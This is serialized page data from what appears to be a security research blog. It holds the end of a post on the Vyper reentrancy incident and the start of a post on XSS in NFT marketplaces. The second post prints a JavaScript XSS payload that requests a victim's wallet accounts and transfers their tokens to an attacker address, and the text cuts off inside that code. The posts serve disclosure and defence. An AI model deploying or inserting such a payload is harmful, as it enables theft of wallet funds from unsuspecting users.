",{"type":21,"tag":31413,"props":31419,"children":31420},{},[],{"type":26,"value":31422},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":21,"tag":31413,"props":31424,"children":31425},{},[],{"type":26,"value":31427},"\nso you can basically drain whole pool for few hundred K crv ",{"type":21,"tag":31413,"props":31429,"children":31430},{},[],{"type":21,"tag":22,"props":31432,"children":31433},{},[31434,31439],{"type":21,"tag":873,"props":31435,"children":31436},{},[31437],{"type":26,"value":31438},"21:52 UTC",{"type":26,"value":31440}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":21,"tag":22,"props":31442,"children":31443},{},[31444,31446,31453,31455,31462,31470],{"type":26,"value":31445},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":21,"tag":335,"props":31447,"children":31450},{"href":31448,"rel":31449},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[339],[31451],{"type":26,"value":31452},"CRV admin fee bot",{"type":26,"value":31454}," had claimed fees and ",{"type":21,"tag":335,"props":31456,"children":31459},{"href":31457,"rel":31458},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[339],[31460],{"type":26,"value":31461},"the pool was drained",{"type":21,"tag":15893,"props":31463,"children":31464},{},[31465],{"type":21,"tag":335,"props":31466,"children":31468},{"href":30067,"ariaDescribedBy":31467,"dataFootnoteRef":7,"id":30069},[15900],[31469],{"type":26,"value":4779},{"type":26,"value":73},{"type":21,"tag":54,"props":31472,"children":31474},{"id":31473},"blame",[31475],{"type":26,"value":31476},"Blame",{"type":21,"tag":22,"props":31478,"children":31479},{},[31480,31484],{"type":21,"tag":39,"props":31481,"children":31482},{},[31483],{"type":26,"value":31476},{"type":26,"value":31485}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":21,"tag":10022,"props":31487,"children":31489},{"id":31488},"races",[31490],{"type":26,"value":31491},"Races",{"type":21,"tag":22,"props":31493,"children":31494},{},[31495],{"type":26,"value":31496},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":21,"tag":22,"props":31498,"children":31499},{},[31500],{"type":26,"value":31501},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":21,"tag":22,"props":31503,"children":31504},{},[31505],{"type":26,"value":31506},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":21,"tag":10022,"props":31508,"children":31510},{"id":31509},"information-leakage",[31511],{"type":26,"value":31512},"Information Leakage",{"type":21,"tag":22,"props":31514,"children":31515},{},[31516],{"type":26,"value":31517},"I was both an auditor and a whitehat.",{"type":21,"tag":22,"props":31519,"children":31520},{},[31521,31523,31530],{"type":26,"value":31522},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":21,"tag":335,"props":31524,"children":31527},{"href":31525,"rel":31526},"https://twitter.com/osec_io/status/1579969927020412929",[339],[31528],{"type":26,"value":31529},"by publishing the \"scoop\"",{"type":26,"value":31531}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":21,"tag":22,"props":31533,"children":31534},{},[31535],{"type":26,"value":31536},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":21,"tag":22,"props":31538,"children":31539},{},[31540],{"type":26,"value":31541},"Half an hour more could have saved $18M.",{"type":21,"tag":22,"props":31543,"children":31544},{},[31545],{"type":26,"value":31546},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":21,"tag":54,"props":31548,"children":31550},{"id":31549},"next-steps",[31551],{"type":26,"value":31552},"Next Steps",{"type":21,"tag":22,"props":31554,"children":31555},{},[31556],{"type":26,"value":31557},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":21,"tag":22,"props":31559,"children":31560},{},[31561,31563,31570],{"type":26,"value":31562},"It's important to note that this bug ",{"type":21,"tag":335,"props":31564,"children":31567},{"href":31565,"rel":31566},"https://twitter.com/real_philogy/status/1685948253139857409",[339],[31568],{"type":26,"value":31569},"was patched since November 2021",{"type":26,"value":73},{"type":21,"tag":3712,"props":31572,"children":31573},{},[31574],{"type":21,"tag":22,"props":31575,"children":31576},{},[31577,31579,31584,31585,31588,31590,31595],{"type":26,"value":31578},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":21,"tag":39,"props":31580,"children":31581},{},[31582],{"type":26,"value":31583},"processes",{"type":26,"value":18956},{"type":21,"tag":31413,"props":31586,"children":31587},{},[],{"type":26,"value":31589},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":21,"tag":39,"props":31591,"children":31592},{},[31593],{"type":26,"value":31594},"was",{"type":26,"value":31596}," fixed.",{"type":21,"tag":22,"props":31598,"children":31599},{},[31600],{"type":26,"value":31601},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":21,"tag":18846,"props":31603,"children":31605},{"className":31604,"dataFootnotes":7},[18849],[31606,31611],{"type":21,"tag":54,"props":31607,"children":31609},{"className":31608,"id":15900},[18854],[31610],{"type":26,"value":18857},{"type":21,"tag":841,"props":31612,"children":31613},{},[31614],{"type":21,"tag":845,"props":31615,"children":31616},{"id":30810},[31617,31619],{"type":26,"value":31618},"Thankfully, these funds were later returned. ",{"type":21,"tag":335,"props":31620,"children":31622},{"href":30838,"ariaLabel":18960,"className":31621,"dataFootnoteBackref":7},[18962],[31623],{"type":26,"value":18965},{"type":21,"tag":3632,"props":31625,"children":31626},{},[31627],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":31629},[31630,31631,31635,31636],{"id":30905,"depth":98,"text":30908},{"id":31473,"depth":98,"text":31476,"children":31632},[31633,31634],{"id":31488,"depth":151,"text":31491},{"id":31509,"depth":151,"text":31512},{"id":31549,"depth":98,"text":31552},{"id":15900,"depth":98,"text":18857},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":31641,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31642,"description":31643,"author":31644,"image":31647,"date":31649,"isFeatured":16,"tags":31650,"onBlogPage":16,"body":31653,"_type":3642,"_id":35866,"_source":3644,"_file":35867,"_stem":35868,"_extension":3647},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[31645,31646],"caue","bruno",{"src":31648,"height":14041,"width":14041},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[31651,31652],"nft-marketplaces","xss",{"type":18,"children":31654,"toc":35849},[31655,31659,31664,31668,31673,31678,31683,31699,31705,31718,31740,31747,31752,31759,31764,31770,31775,31780,31785,31790,31801,31806,32775,32785,32797,32804,32809,33631,33636,33641,33646,33651,34435,34440,34522,34527,34596,34602,34607,34612,34839,34852,34857,34862,34867,34874,34879,34886,34892,34897,34902,34907,35226,35231,35237,35253,35259,35264,35269,35279,35284,35289,35298,35303,35309,35325,35338,35343,35348,35368,35375,35380,35387,35396,35401,35422,35475,35480,35531,35545,35550,35564,35679,35702,35786,35809,35814,35819,35824,35829,35834,35840,35845],{"type":21,"tag":54,"props":31656,"children":31657},{"id":29458},[31658],{"type":26,"value":29461},{"type":21,"tag":22,"props":31660,"children":31661},{},[31662],{"type":26,"value":31663},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":21,"tag":10022,"props":31665,"children":31666},{"id":3697},[31667],{"type":26,"value":3700},{"type":21,"tag":22,"props":31669,"children":31670},{},[31671],{"type":26,"value":31672},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":21,"tag":22,"props":31674,"children":31675},{},[31676],{"type":26,"value":31677},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":21,"tag":54,"props":31679,"children":31680},{"id":31652},[31681],{"type":26,"value":31682},"XSS",{"type":21,"tag":22,"props":31684,"children":31685},{},[31686],{"type":21,"tag":39,"props":31687,"children":31688},{},[31689,31691,31698],{"type":26,"value":31690},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":21,"tag":335,"props":31692,"children":31695},{"href":31693,"rel":31694},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[339],[31696],{"type":26,"value":31697},"even explain it to myself",{"type":26,"value":73},{"type":21,"tag":10022,"props":31700,"children":31702},{"id":31701},"managing-metadata",[31703],{"type":26,"value":31704},"Managing Metadata",{"type":21,"tag":22,"props":31706,"children":31707},{},[31708,31710,31717],{"type":26,"value":31709},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":21,"tag":335,"props":31711,"children":31714},{"href":31712,"rel":31713},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[339],[31715],{"type":26,"value":31716},"payloads",{"type":26,"value":73},{"type":21,"tag":22,"props":31719,"children":31720},{},[31721,31723,31730,31732,31738],{"type":26,"value":31722},"We showcase this vulnerability in the ",{"type":21,"tag":335,"props":31724,"children":31727},{"href":31725,"rel":31726},"https://rocki.com/",[339],[31728],{"type":26,"value":31729},"Rocki Marketplace",{"type":26,"value":31731},". The ",{"type":21,"tag":66,"props":31733,"children":31735},{"className":31734},[],[31736],{"type":26,"value":31737},"artistDescription",{"type":26,"value":31739}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":21,"tag":22,"props":31741,"children":31742},{},[31743],{"type":21,"tag":4681,"props":31744,"children":31746},{"alt":7,"src":31745},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":21,"tag":22,"props":31748,"children":31749},{},[31750],{"type":26,"value":31751},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":21,"tag":22,"props":31753,"children":31754},{},[31755],{"type":21,"tag":4681,"props":31756,"children":31758},{"alt":7,"src":31757},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":21,"tag":22,"props":31760,"children":31761},{},[31762],{"type":26,"value":31763},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":21,"tag":10022,"props":31765,"children":31767},{"id":31766},"wheres-my-wallet",[31768],{"type":26,"value":31769},"Where's My Wallet",{"type":21,"tag":22,"props":31771,"children":31772},{},[31773],{"type":26,"value":31774},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":21,"tag":22,"props":31776,"children":31777},{},[31778],{"type":26,"value":31779},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":21,"tag":22,"props":31781,"children":31782},{},[31783],{"type":26,"value":31784},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":21,"tag":22,"props":31786,"children":31787},{},[31788],{"type":26,"value":31789},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":21,"tag":31791,"props":31792,"children":31794},"div",{"style":31793},"display:flex; align-items:center; flex-direction:column;",[31795],{"type":21,"tag":4681,"props":31796,"children":31800},{"src":31797,"alt":31798,"style":31799},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":21,"tag":22,"props":31802,"children":31803},{},[31804],{"type":26,"value":31805},"And here we can find the code used to achieve it :",{"type":21,"tag":75,"props":31807,"children":31811},{"className":31808,"code":31809,"language":31810,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[31812],{"type":21,"tag":66,"props":31813,"children":31814},{"__ignoreMap":7},[31815,31832,31877,31906,31922,31985,32020,32045,32070,32077,32097,32105,32121,32133,32141,32158,32175,32183,32190,32206,32222,32229,32237,32254,32266,32273,32289,32305,32312,32319,32336,32343,32351,32358,32405,32412,32476,32483,32503,32519,32535,32556,32627,32643,32650,32657,32695,32703,32710,32717,32724,32745],{"type":21,"tag":85,"props":31816,"children":31817},{"class":87,"line":88},[31818,31823,31828],{"type":21,"tag":85,"props":31819,"children":31820},{"style":102},[31821],{"type":26,"value":31822},"function",{"type":21,"tag":85,"props":31824,"children":31825},{"style":1021},[31826],{"type":26,"value":31827}," request",{"type":21,"tag":85,"props":31829,"children":31830},{"style":114},[31831],{"type":26,"value":16156},{"type":21,"tag":85,"props":31833,"children":31834},{"class":87,"line":98},[31835,31840,31844,31849,31854,31858,31863,31868,31873],{"type":21,"tag":85,"props":31836,"children":31837},{"style":2885},[31838],{"type":26,"value":31839},"  if",{"type":21,"tag":85,"props":31841,"children":31842},{"style":114},[31843],{"type":26,"value":717},{"type":21,"tag":85,"props":31845,"children":31846},{"style":102},[31847],{"type":26,"value":31848},"typeof",{"type":21,"tag":85,"props":31850,"children":31851},{"style":120},[31852],{"type":26,"value":31853}," window",{"type":21,"tag":85,"props":31855,"children":31856},{"style":114},[31857],{"type":26,"value":73},{"type":21,"tag":85,"props":31859,"children":31860},{"style":120},[31861],{"type":26,"value":31862},"ethereum",{"type":21,"tag":85,"props":31864,"children":31865},{"style":169},[31866],{"type":26,"value":31867}," ===",{"type":21,"tag":85,"props":31869,"children":31870},{"style":5026},[31871],{"type":26,"value":31872}," 'undefined'",{"type":21,"tag":85,"props":31874,"children":31875},{"style":114},[31876],{"type":26,"value":15222},{"type":21,"tag":85,"props":31878,"children":31879},{"class":87,"line":151},[31880,31885,31889,31893,31897,31902],{"type":21,"tag":85,"props":31881,"children":31882},{"style":120},[31883],{"type":26,"value":31884},"    console",{"type":21,"tag":85,"props":31886,"children":31887},{"style":114},[31888],{"type":26,"value":73},{"type":21,"tag":85,"props":31890,"children":31891},{"style":1021},[31892],{"type":26,"value":15282},{"type":21,"tag":85,"props":31894,"children":31895},{"style":114},[31896],{"type":26,"value":1439},{"type":21,"tag":85,"props":31898,"children":31899},{"style":5026},[31900],{"type":26,"value":31901},"'Please install MetaMask to use this feature.'",{"type":21,"tag":85,"props":31903,"children":31904},{"style":114},[31905],{"type":26,"value":777},{"type":21,"tag":85,"props":31907,"children":31908},{"class":87,"line":160},[31909,31914,31918],{"type":21,"tag":85,"props":31910,"children":31911},{"style":114},[31912],{"type":26,"value":31913},"  } ",{"type":21,"tag":85,"props":31915,"children":31916},{"style":2885},[31917],{"type":26,"value":4086},{"type":21,"tag":85,"props":31919,"children":31920},{"style":114},[31921],{"type":26,"value":148},{"type":21,"tag":85,"props":31923,"children":31924},{"class":87,"line":185},[31925,31930,31934,31939,31944,31949,31954,31959,31964,31969,31973,31977,31981],{"type":21,"tag":85,"props":31926,"children":31927},{"style":120},[31928],{"type":26,"value":31929},"    ethereum",{"type":21,"tag":85,"props":31931,"children":31932},{"style":114},[31933],{"type":26,"value":73},{"type":21,"tag":85,"props":31935,"children":31936},{"style":1021},[31937],{"type":26,"value":31938},"request",{"type":21,"tag":85,"props":31940,"children":31941},{"style":114},[31942],{"type":26,"value":31943},"({ ",{"type":21,"tag":85,"props":31945,"children":31946},{"style":120},[31947],{"type":26,"value":31948},"method:",{"type":21,"tag":85,"props":31950,"children":31951},{"style":5026},[31952],{"type":26,"value":31953}," 'eth_requestAccounts'",{"type":21,"tag":85,"props":31955,"children":31956},{"style":114},[31957],{"type":26,"value":31958}," }).",{"type":21,"tag":85,"props":31960,"children":31961},{"style":1021},[31962],{"type":26,"value":31963},"then",{"type":21,"tag":85,"props":31965,"children":31966},{"style":114},[31967],{"type":26,"value":31968},"((",{"type":21,"tag":85,"props":31970,"children":31971},{"style":120},[31972],{"type":26,"value":15093},{"type":21,"tag":85,"props":31974,"children":31975},{"style":114},[31976],{"type":26,"value":736},{"type":21,"tag":85,"props":31978,"children":31979},{"style":102},[31980],{"type":26,"value":15240},{"type":21,"tag":85,"props":31982,"children":31983},{"style":114},[31984],{"type":26,"value":148},{"type":21,"tag":85,"props":31986,"children":31987},{"class":87,"line":501},[31988,31993,31998,32002,32007,32011,32015],{"type":21,"tag":85,"props":31989,"children":31990},{"style":102},[31991],{"type":26,"value":31992},"      const",{"type":21,"tag":85,"props":31994,"children":31995},{"style":120},[31996],{"type":26,"value":31997}," fromAddress",{"type":21,"tag":85,"props":31999,"children":32000},{"style":169},[32001],{"type":26,"value":1941},{"type":21,"tag":85,"props":32003,"children":32004},{"style":120},[32005],{"type":26,"value":32006}," accounts",{"type":21,"tag":85,"props":32008,"children":32009},{"style":114},[32010],{"type":26,"value":3016},{"type":21,"tag":85,"props":32012,"children":32013},{"style":2285},[32014],{"type":26,"value":4789},{"type":21,"tag":85,"props":32016,"children":32017},{"style":114},[32018],{"type":26,"value":32019},"];\n",{"type":21,"tag":85,"props":32021,"children":32022},{"class":87,"line":697},[32023,32027,32032,32036,32041],{"type":21,"tag":85,"props":32024,"children":32025},{"style":102},[32026],{"type":26,"value":31992},{"type":21,"tag":85,"props":32028,"children":32029},{"style":120},[32030],{"type":26,"value":32031}," attackerAddress",{"type":21,"tag":85,"props":32033,"children":32034},{"style":169},[32035],{"type":26,"value":1941},{"type":21,"tag":85,"props":32037,"children":32038},{"style":5026},[32039],{"type":26,"value":32040}," '0x0000000000000000000000000000000000000000'",{"type":21,"tag":85,"props":32042,"children":32043},{"style":114},[32044],{"type":26,"value":2535},{"type":21,"tag":85,"props":32046,"children":32047},{"class":87,"line":706},[32048,32052,32057,32061,32066],{"type":21,"tag":85,"props":32049,"children":32050},{"style":102},[32051],{"type":26,"value":31992},{"type":21,"tag":85,"props":32053,"children":32054},{"style":120},[32055],{"type":26,"value":32056}," contractAddress",{"type":21,"tag":85,"props":32058,"children":32059},{"style":169},[32060],{"type":26,"value":1941},{"type":21,"tag":85,"props":32062,"children":32063},{"style":5026},[32064],{"type":26,"value":32065}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":21,"tag":85,"props":32067,"children":32068},{"style":114},[32069],{"type":26,"value":2535},{"type":21,"tag":85,"props":32071,"children":32072},{"class":87,"line":1100},[32073],{"type":21,"tag":85,"props":32074,"children":32075},{"emptyLinePlaceholder":16},[32076],{"type":26,"value":703},{"type":21,"tag":85,"props":32078,"children":32079},{"class":87,"line":1339},[32080,32084,32089,32093],{"type":21,"tag":85,"props":32081,"children":32082},{"style":102},[32083],{"type":26,"value":2429},{"type":21,"tag":85,"props":32085,"children":32086},{"style":120},[32087],{"type":26,"value":32088}," tokenAbi",{"type":21,"tag":85,"props":32090,"children":32091},{"style":169},[32092],{"type":26,"value":1941},{"type":21,"tag":85,"props":32094,"children":32095},{"style":114},[32096],{"type":26,"value":26062},{"type":21,"tag":85,"props":32098,"children":32099},{"class":87,"line":1348},[32100],{"type":21,"tag":85,"props":32101,"children":32102},{"style":114},[32103],{"type":26,"value":32104},"        {\n",{"type":21,"tag":85,"props":32106,"children":32107},{"class":87,"line":1386},[32108,32113,32117],{"type":21,"tag":85,"props":32109,"children":32110},{"style":120},[32111],{"type":26,"value":32112},"          constant:",{"type":21,"tag":85,"props":32114,"children":32115},{"style":102},[32116],{"type":26,"value":3438},{"type":21,"tag":85,"props":32118,"children":32119},{"style":114},[32120],{"type":26,"value":182},{"type":21,"tag":85,"props":32122,"children":32123},{"class":87,"line":1394},[32124,32129],{"type":21,"tag":85,"props":32125,"children":32126},{"style":120},[32127],{"type":26,"value":32128},"          inputs:",{"type":21,"tag":85,"props":32130,"children":32131},{"style":114},[32132],{"type":26,"value":26062},{"type":21,"tag":85,"props":32134,"children":32135},{"class":87,"line":1402},[32136],{"type":21,"tag":85,"props":32137,"children":32138},{"style":114},[32139],{"type":26,"value":32140},"            {\n",{"type":21,"tag":85,"props":32142,"children":32143},{"class":87,"line":3145},[32144,32149,32154],{"type":21,"tag":85,"props":32145,"children":32146},{"style":120},[32147],{"type":26,"value":32148},"              name:",{"type":21,"tag":85,"props":32150,"children":32151},{"style":5026},[32152],{"type":26,"value":32153}," '_to'",{"type":21,"tag":85,"props":32155,"children":32156},{"style":114},[32157],{"type":26,"value":182},{"type":21,"tag":85,"props":32159,"children":32160},{"class":87,"line":3246},[32161,32166,32171],{"type":21,"tag":85,"props":32162,"children":32163},{"style":120},[32164],{"type":26,"value":32165},"              type:",{"type":21,"tag":85,"props":32167,"children":32168},{"style":5026},[32169],{"type":26,"value":32170}," 'address'",{"type":21,"tag":85,"props":32172,"children":32173},{"style":114},[32174],{"type":26,"value":182},{"type":21,"tag":85,"props":32176,"children":32177},{"class":87,"line":3255},[32178],{"type":21,"tag":85,"props":32179,"children":32180},{"style":114},[32181],{"type":26,"value":32182},"            },\n",{"type":21,"tag":85,"props":32184,"children":32185},{"class":87,"line":3286},[32186],{"type":21,"tag":85,"props":32187,"children":32188},{"style":114},[32189],{"type":26,"value":32140},{"type":21,"tag":85,"props":32191,"children":32192},{"class":87,"line":3295},[32193,32197,32202],{"type":21,"tag":85,"props":32194,"children":32195},{"style":120},[32196],{"type":26,"value":32148},{"type":21,"tag":85,"props":32198,"children":32199},{"style":5026},[32200],{"type":26,"value":32201}," '_value'",{"type":21,"tag":85,"props":32203,"children":32204},{"style":114},[32205],{"type":26,"value":182},{"type":21,"tag":85,"props":32207,"children":32208},{"class":87,"line":3308},[32209,32213,32218],{"type":21,"tag":85,"props":32210,"children":32211},{"style":120},[32212],{"type":26,"value":32165},{"type":21,"tag":85,"props":32214,"children":32215},{"style":5026},[32216],{"type":26,"value":32217}," 'uint256'",{"type":21,"tag":85,"props":32219,"children":32220},{"style":114},[32221],{"type":26,"value":182},{"type":21,"tag":85,"props":32223,"children":32224},{"class":87,"line":3333},[32225],{"type":21,"tag":85,"props":32226,"children":32227},{"style":114},[32228],{"type":26,"value":32182},{"type":21,"tag":85,"props":32230,"children":32231},{"class":87,"line":3369},[32232],{"type":21,"tag":85,"props":32233,"children":32234},{"style":114},[32235],{"type":26,"value":32236},"          ],\n",{"type":21,"tag":85,"props":32238,"children":32239},{"class":87,"line":3377},[32240,32245,32250],{"type":21,"tag":85,"props":32241,"children":32242},{"style":120},[32243],{"type":26,"value":32244},"          name:",{"type":21,"tag":85,"props":32246,"children":32247},{"style":5026},[32248],{"type":26,"value":32249}," 'transfer'",{"type":21,"tag":85,"props":32251,"children":32252},{"style":114},[32253],{"type":26,"value":182},{"type":21,"tag":85,"props":32255,"children":32256},{"class":87,"line":3386},[32257,32262],{"type":21,"tag":85,"props":32258,"children":32259},{"style":120},[32260],{"type":26,"value":32261},"          outputs:",{"type":21,"tag":85,"props":32263,"children":32264},{"style":114},[32265],{"type":26,"value":26062},{"type":21,"tag":85,"props":32267,"children":32268},{"class":87,"line":3394},[32269],{"type":21,"tag":85,"props":32270,"children":32271},{"style":114},[32272],{"type":26,"value":32140},{"type":21,"tag":85,"props":32274,"children":32275},{"class":87,"line":3410},[32276,32280,32285],{"type":21,"tag":85,"props":32277,"children":32278},{"style":120},[32279],{"type":26,"value":32148},{"type":21,"tag":85,"props":32281,"children":32282},{"style":5026},[32283],{"type":26,"value":32284}," ''",{"type":21,"tag":85,"props":32286,"children":32287},{"style":114},[32288],{"type":26,"value":182},{"type":21,"tag":85,"props":32290,"children":32291},{"class":87,"line":3427},[32292,32296,32301],{"type":21,"tag":85,"props":32293,"children":32294},{"style":120},[32295],{"type":26,"value":32165},{"type":21,"tag":85,"props":32297,"children":32298},{"style":5026},[32299],{"type":26,"value":32300}," 'bool'",{"type":21,"tag":85,"props":32302,"children":32303},{"style":114},[32304],{"type":26,"value":182},{"type":21,"tag":85,"props":32306,"children":32307},{"class":87,"line":3445},[32308],{"type":21,"tag":85,"props":32309,"children":32310},{"style":114},[32311],{"type":26,"value":32182},{"type":21,"tag":85,"props":32313,"children":32314},{"class":87,"line":3490},[32315],{"type":21,"tag":85,"props":32316,"children":32317},{"style":114},[32318],{"type":26,"value":32236},{"type":21,"tag":85,"props":32320,"children":32321},{"class":87,"line":3596},[32322,32327,32332],{"type":21,"tag":85,"props":32323,"children":32324},{"style":120},[32325],{"type":26,"value":32326},"          type:",{"type":21,"tag":85,"props":32328,"children":32329},{"style":5026},[32330],{"type":26,"value":32331}," 'function'",{"type":21,"tag":85,"props":32333,"children":32334},{"style":114},[32335],{"type":26,"value":182},{"type":21,"tag":85,"props":32337,"children":32338},{"class":87,"line":23938},[32339],{"type":21,"tag":85,"props":32340,"children":32341},{"style":114},[32342],{"type":26,"value":25814},{"type":21,"tag":85,"props":32344,"children":32345},{"class":87,"line":23973},[32346],{"type":21,"tag":85,"props":32347,"children":32348},{"style":114},[32349],{"type":26,"value":32350},"      ];\n",{"type":21,"tag":85,"props":32352,"children":32353},{"class":87,"line":23981},[32354],{"type":21,"tag":85,"props":32355,"children":32356},{"emptyLinePlaceholder":16},[32357],{"type":26,"value":703},{"type":21,"tag":85,"props":32359,"children":32360},{"class":87,"line":23989},[32361,32365,32370,32374,32379,32384,32388,32393,32397,32401],{"type":21,"tag":85,"props":32362,"children":32363},{"style":102},[32364],{"type":26,"value":31992},{"type":21,"tag":85,"props":32366,"children":32367},{"style":120},[32368],{"type":26,"value":32369}," web3",{"type":21,"tag":85,"props":32371,"children":32372},{"style":169},[32373],{"type":26,"value":1941},{"type":21,"tag":85,"props":32375,"children":32376},{"style":102},[32377],{"type":26,"value":32378}," new",{"type":21,"tag":85,"props":32380,"children":32381},{"style":1021},[32382],{"type":26,"value":32383}," Web3",{"type":21,"tag":85,"props":32385,"children":32386},{"style":114},[32387],{"type":26,"value":1439},{"type":21,"tag":85,"props":32389,"children":32390},{"style":120},[32391],{"type":26,"value":32392},"window",{"type":21,"tag":85,"props":32394,"children":32395},{"style":114},[32396],{"type":26,"value":73},{"type":21,"tag":85,"props":32398,"children":32399},{"style":120},[32400],{"type":26,"value":31862},{"type":21,"tag":85,"props":32402,"children":32403},{"style":114},[32404],{"type":26,"value":777},{"type":21,"tag":85,"props":32406,"children":32407},{"class":87,"line":23998},[32408],{"type":21,"tag":85,"props":32409,"children":32410},{"emptyLinePlaceholder":16},[32411],{"type":26,"value":703},{"type":21,"tag":85,"props":32413,"children":32414},{"class":87,"line":24040},[32415,32419,32424,32428,32432,32436,32440,32445,32449,32454,32458,32463,32467,32472],{"type":21,"tag":85,"props":32416,"children":32417},{"style":102},[32418],{"type":26,"value":31992},{"type":21,"tag":85,"props":32420,"children":32421},{"style":120},[32422],{"type":26,"value":32423}," tokenContract",{"type":21,"tag":85,"props":32425,"children":32426},{"style":169},[32427],{"type":26,"value":1941},{"type":21,"tag":85,"props":32429,"children":32430},{"style":102},[32431],{"type":26,"value":32378},{"type":21,"tag":85,"props":32433,"children":32434},{"style":120},[32435],{"type":26,"value":32369},{"type":21,"tag":85,"props":32437,"children":32438},{"style":114},[32439],{"type":26,"value":73},{"type":21,"tag":85,"props":32441,"children":32442},{"style":120},[32443],{"type":26,"value":32444},"eth",{"type":21,"tag":85,"props":32446,"children":32447},{"style":114},[32448],{"type":26,"value":73},{"type":21,"tag":85,"props":32450,"children":32451},{"style":1021},[32452],{"type":26,"value":32453},"Contract",{"type":21,"tag":85,"props":32455,"children":32456},{"style":114},[32457],{"type":26,"value":1439},{"type":21,"tag":85,"props":32459,"children":32460},{"style":120},[32461],{"type":26,"value":32462},"tokenAbi",{"type":21,"tag":85,"props":32464,"children":32465},{"style":114},[32466],{"type":26,"value":256},{"type":21,"tag":85,"props":32468,"children":32469},{"style":120},[32470],{"type":26,"value":32471},"contractAddress",{"type":21,"tag":85,"props":32473,"children":32474},{"style":114},[32475],{"type":26,"value":777},{"type":21,"tag":85,"props":32477,"children":32478},{"class":87,"line":24073},[32479],{"type":21,"tag":85,"props":32480,"children":32481},{"emptyLinePlaceholder":16},[32482],{"type":26,"value":703},{"type":21,"tag":85,"props":32484,"children":32485},{"class":87,"line":24081},[32486,32490,32495,32499],{"type":21,"tag":85,"props":32487,"children":32488},{"style":102},[32489],{"type":26,"value":31992},{"type":21,"tag":85,"props":32491,"children":32492},{"style":120},[32493],{"type":26,"value":32494}," 